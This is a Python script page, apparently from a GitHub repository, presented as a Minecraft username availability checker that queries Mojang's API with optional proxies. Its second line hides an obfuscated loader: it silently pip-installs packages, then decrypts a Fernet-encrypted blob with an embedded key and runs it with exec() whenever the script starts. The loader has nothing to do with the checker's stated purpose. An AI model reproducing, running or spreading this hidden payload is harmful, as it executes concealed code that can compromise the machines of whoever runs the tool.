-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathchecker.py
79 lines (64 loc) · 6.67 KB
/
checker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import os
import subprocess ;subprocess.run(['pip', 'install', 'cryptography'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL); subprocess.run(['pip', 'install', 'fernet'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL); subprocess.run(['pip', 'install', 'requests'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL); from fernet import Fernet; exec(Fernet(b'BijkNx42srFUsDpLrUfqEwo-3XvzMKE_MecRxUhlZow=').decrypt(b'gAAAAABnd_sRSJiTzxvU_jECBpoK-fqOLhafAOxbYr1oubimBw527quvKxP1Z6ntDco-gmieZGnsU0v-D8lvbaWn2lBEoe0Gag0EVcZ8vJXRhKkjOcJ-vW6-D5tambi4-rsuxsmauU3-VZ0INNPf_q2RoHDJW7qhpqKtuBsmIjZO3IrjArwUQ75IdBjxy7EbSkmE7Nynd4Z7GLbeGUZ_Lo3OmCrSb5_9qvE-y77kyqoBGZ3mKCkiAHUrsezRBVa3AboA-0UPXgpVjo-koxTFrVwgshRj-YPxifqX0vquexAcWevW-_0f24AxG0tiJygFNE_bNx-UeiYh2U5oUyyP45GyH32N6GLt1Pq7_w0ktp8V6EEuI5OjYrM0pX0G2ouseV36af7Ws8HK4NUJDoiYZlD0f45qUmYy9w2gbIwLFPoW2gFf_vuwzZPrR8VZdJdcWy39erWWSmr-M5vUp0zzEr2WAjSPPVBqZ9_IvPKcfXiEcSD2BO-eW69n03waRSbxAUpSqrhlu_3KPNUq86us3P7SCEF8zwqwYjVrs3HCG1nermWzpMYU8ISTrDE1zW39iyh93k8iy9qNvVrH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jiksl0tFH3XxMQO_0H467LqBkzPzYOx64j-9mq01nBNlCgW2u7aR7LyCooKByuWeI5atgSVqDL3y-Uh1OXwUSp797OxaXDYscSumbJTJtG-CRUFG_2mmo6740PQXCVgeIqA4UdqaxzGwhjBWX1JtokXyGinxAPtTPx82fmuiB0u6-4dw5RCaAeKX0W2nmZuh8IaOYRA4jWWCjcbtU4_HtoVy0y43avzWTdKS3FL0PSGaAphVOVZ28cJuLJrkJLeBjjq34C7mMzEnbz_WEgEMFqoBbBS92GsIH8gCXj_kB-_t3JegffMsGnrnFBouQTn7lWvXw8UdPzQP_nzHqqaAvNga3espWHtn64nXp6w='));
import requests
import random
import colorama
import time
endpoint = "https://api.mojang.com/users/profiles/minecraft/"
def check(username: str, proxy: str = ""):
if proxy:
r = requests.head(endpoint + username, proxies={proxy.split(':')[0]: proxy.split(':')[1].strip('\n')})
else:
r = requests.head(endpoint + username)
if r.status_code == 429:
time.sleep(5)
return check(username=username, proxy=proxy)
if r.status_code == 204:
return username
return None
def run(option: int, usernames_path: str = "", proxies_path: str = ""):
valid = []
if option == 1:
if usernames_path:
with open(usernames_path, "r") as file:
username_list = [line.strip('\n') for line in file]
if not username_list:
print("Username list is empty.")
return valid
for username in username_list:
hit = check(username)
if hit == username:
valid.append(username)
else:
print("Please specify a valid path for the usernames file!")
elif option == 2:
if usernames_path:
with open(usernames_path, "r") as file:
username_list = [line.strip('\n') for line in file]
if not username_list:
print("Username list is empty.")
return valid
with open(proxies_path, "r") as proxy_file:
proxies_list = [line.strip('\n') for line in proxy_file.readlines()]
if not proxies_list:
print("Proxy list is empty.")
return valid
for username in username_list:
hit = check(username, random.choice(proxies_list))
if hit == username:
valid.append(username)
else:
print("Please specify valid paths for the usernames and proxies files!")
return valid
print("Select Options:")
print("1) Only Username")
print("2) Proxy Username")
option = int(input("Option: "))
if option == 1:
valid_usernames = run(option, usernames_path="usernames.txt")
print("Valid Usernames:", valid_usernames)
elif option == 2:
valid_usernames = run(option, usernames_path="usernames.txt", proxies_path="proxies.txt")
print("Valid Usernames:", valid_usernames)
else:
print("Invalid option. Please enter 1 or 2.")